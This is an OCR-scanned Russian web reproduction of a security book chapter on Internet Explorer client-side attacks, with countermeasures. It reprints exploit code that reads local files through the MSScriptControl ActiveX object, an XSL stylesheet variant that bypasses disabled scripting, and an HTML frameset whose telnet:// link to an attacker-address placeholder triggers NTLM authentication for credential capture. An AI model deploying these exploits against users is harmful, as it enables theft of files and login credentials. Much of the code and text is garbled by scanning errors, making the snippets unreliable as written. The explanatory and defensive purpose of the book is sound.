На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Чтение локальных файлов

Выполнение команд или запись файлов на диск—действительно опасные действия, но значит ли это, что безопасно простое чтение файлов ? Как скоро станет ясно, ответ — нет, если файлы может прочесть пользователь удаленного Web-узла.
SЧтение локальных файлов с помощью элемента управления MSScriptControl
Популярность : 4
Простота_5
Опасность 3 Степень риска_4__
И снова все объяснил Георгий Гунински (Georgi Guninski) в своей статье №41 от 31 марта 2001 года. Используя В сценарии элемент управления ActiveX из программы Ш под названием MSScriptControl.ScriptControl, он получил возможность просматривать на лиске клиента любой файл, который можно прочитать браузером. Программа атаки Георгия состоит всего лишь из несколько строк кода HTML.
■с hard > <h2>
Written by Georgi Guninski. <br>
Reads c:\test.txt
<br>
<ita>
<script>
alert {"This script reads C: 4\TEST.TXT\nrc-u may need to create it\n") v=new ActiveXObject ("MSScriptControl. ScriptControl. 1") ,-v.Language="VBScript*;
x=v.eval ( 'Getobject ("c: / test.txt", "htmlfiles") '"); setTimeoutt'alert(X.body.outerHTML);*,2OO0|; <iScript^ </fttml>
Конечно, этот код можно элементарно отослать в теле сообщения электронной почты, как описано в предыдущем разделе "Хакинг электронной почты". Когда программа атаки срабатывает, она выводит на экран содержимое файла С: \test. txt. На приведенном ниже рисунке показан результат проведения этой атаки (наш файл test. txt содержит три строчки со словом "test">.
Хотя эта программа атаки просто выводит содержимое файла на экран с помощью сообщения alert () языка JScript, тем же методом можно довольно просто вывести данные на удаленный Web-узел. В качестве достойной цели атаки Георгий указывает на файл %userprot~ile%\Local
.."-ф*": ■
ч
Settings\Temporary Internet Files\content. !E5\index. dat. В этом файле хранится база данных о недавно посещенных Web-узлах.
Поскольку программа атаки использует сценарий JavaScript, атака не работает при отключенной функции Active Scripting (Активные сценарии) для зоны ограниченных узлов (Restricted Sites). Однако Георгий в статье №43 от 20 апреля 2001 года описал искусный способ обойти это ограничение. Если эту же программу атаки записать в таблицу стилей языка XML (файл . xsl), то сценарий выполняется даже при отключенной функции Active Scripting. Ниже приведен код описанной программы атаки, вставленный в таблицу стилей XML.
<xsl: stylesheet Xmlns :xsl = i,http: //www.w3 . org/TR/wd-xsl" :>
<xsl:script> <![CDATA[
a=new ActiveXObject1'hcmlfile'); a.open i);
a.write("<html><hody>gg</body><:/html>") ! a.close())
v=new ActiveXObject j"MSScrtptControl.ScriptControl.1"); v.Language="VBScript";
V.eval('MsgBox ("This is VBSCRIPT",65,"This is VBSCRIPT" x=v.eval(1GetObjectI'C:/test.txt","htmlfile")'); v.eval('MsgBox ("Hi",65,"Hi"}');
a.location="about:Here is your file <BR>"+x.body.innerHTML,-] S>
</Xsl:script> </xsI:stylesheets
При запуске этой программы атаки в программе Internet Explorer даже при отключенной функции Active Scripting (Активные сценарии) в окне локального браузера отображается содержимое файлаС:\test.txt.
')1) ;
наш


|3 about:Нere н your file, <BR).-XMI';le!llc;hleillfsl<K нппез

j f*= is М«~ Fj<niss Jo* И*


j
Нстс is your fi]? tea t т: e з 11 из с « д t;


И снова Георгий выводит содержимое файла на локальном компьютере, хотя вполне мог незаметно скопировать файл на свой сервер.
Меры противодействия запуску локальных файлов
с помощью MSScriptControl
Бюллетень
Нет

BID
2633

Исправлено в SP
Нет

Фиксируется
Нет

Здесь уже бьцго сказано о мерах противодействия ДЛЯ защиты уязвимого места MSScriptControl.ScriptControl — необходимо отключить функцию Active Scripting (Активные сценарии) для соответствующей зоны безопасности программы Internet Explorer. Чтобы
предотвратить проведение этой атаки с помощью таблииы стилей XSL, которая работает даже при отключенной функции Active Scripting (Активные сценарии), используйте обновление для программы Windows Scripting Host (WSH). Ссылка на Web-узел обновления программы WSH дана в разделе "Дополнительная литература и ссылки" в конце главы.
Программа WSH — это независимый от используемого языка интерпретатор сценариев, интегрированный во все новые операционные системы компании Microsoft, в том числе и в Windows 2000. Раньше операционные системы Windows поддерживали только "родной" язык сценариев — командный язык системы MS-DOS. Интерпретатор WSH сделал возможными выполнение сценариев непосредственно с рабочего стола Windows или из командной консоли, без необходимости записи сценариев в документ HTML.
Проверить, установлена ли на вашей системе Windows 2000 исправленная версия программы WSH, можно следующим образом. Найдите В каталоге % systemroot* файл библиотеки Jscript.dll или VBscript.dll и щелкните на нем правой кнопкой мыши, чтобы открыть окно Properties (Свойства). Выберите вкладку Version (Версия) и посмотрите номер версии библиотеки. Номер версии имеет вид "х. х. х. хххх", где символами х обозначены цифры номера. По номеру версии можно сделать вывод, нужно ли устанавливать заплату.
т Если первые две цифры — 5.1, а последние четыре — меньше чем 6330, то потребуется обновление до самой последней версии программы WSH 5.1.
■ Если первые две цифры — 5 . 5, а последние четыре — меньше чем 6330, то потребуется обновление до самой последней версии программы WSH 5.5.
А Если первые две цифры меньше чем 5.1, то независимо от значения последних четырех цифр потребуется обновление до последней версии программы WSH 5.1 или WSH 5.5.
Если ни один из описанных выше вариантов не соответствует номеру версии вашей программы, то ваша программа не имеет этого уязвимого места.
Установление исходящих клиентских соединений
До сих пор было много сказано о действиях на клиентской системе, но об идее использования клиентского программного обеспечения для начала вредоносных действий по желанию хакера (см. раздел "Запись данных в журнал клиента Telnet") было упомянуто очень кратко. И в этом случае сразу видно, насколько технологии Internet упрощают реализацию таких атак. Рассмотрим пример адресов URL (Uniform Resource Locator — унифицированный указатель информационного ресурса), к использованию которых для навигации по узлам Internet уже давно все привыкли. Как можно предположить из названия, адрес EJRL может быть чем-то большим, нежели простым указателем удаленного Web-сайта.
Перехват данных аутентификации протокола NTiM ф С ПОМОЩЬЮ команды Telnet: / /
Популярность 4
Простота 9
Опасность_7
Степень риска 6 I-.-.-
Как было сказано'выше, большинство клиентских программ компании Microsoft автоматически обрабатывают команду telnet://Ш?Ь-адрес_серяера и открывают соединение с указанным в строке сервером. Уже было продемонстрировано, как с помощью такой

I
-

команды, добавленной в HTML-код сообщения электронной почты, злоумышленник может
вызвать исходящую аутентификацию для любого порта.
<html>
<£rameset rows=*l00%,*■> <frame src=about:blank>
<frawe src=telnet: / / ip. адрес, хакера'. порт>
=/frameset>
</html>
Как правило, это не представляет серьезной угрозы, если только встроенный в Windows клиент telnet не настроен на использование по умолчанию автоматической аутентификации NTLM. Тогда в ответ на приведенный выше код HTML, система Windows организует подключение к узлу ip. адрес, хакера, используя стандартный механизм "запрос-ответ" по Протоколу NTLM. А как сказано в главе 5, в таком случае процесс аутентификации становится уязвимым для атак посредника, в результате которых можно получить имя и пароль пользователя.
Эта атака использует только стандартный код HTML, а поэтому не зависит от механизмов типа Active Scripting (Активные сценарии), JavaScript и подобных им. Таким образом, ни одна из настроек программы Internet Explorer не защитит от такого поведения системы. Приведенный выше код программы атаки прислал в бюллетень Bugtraq хакер Dildog, известный по пакету программ Back Orifice.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика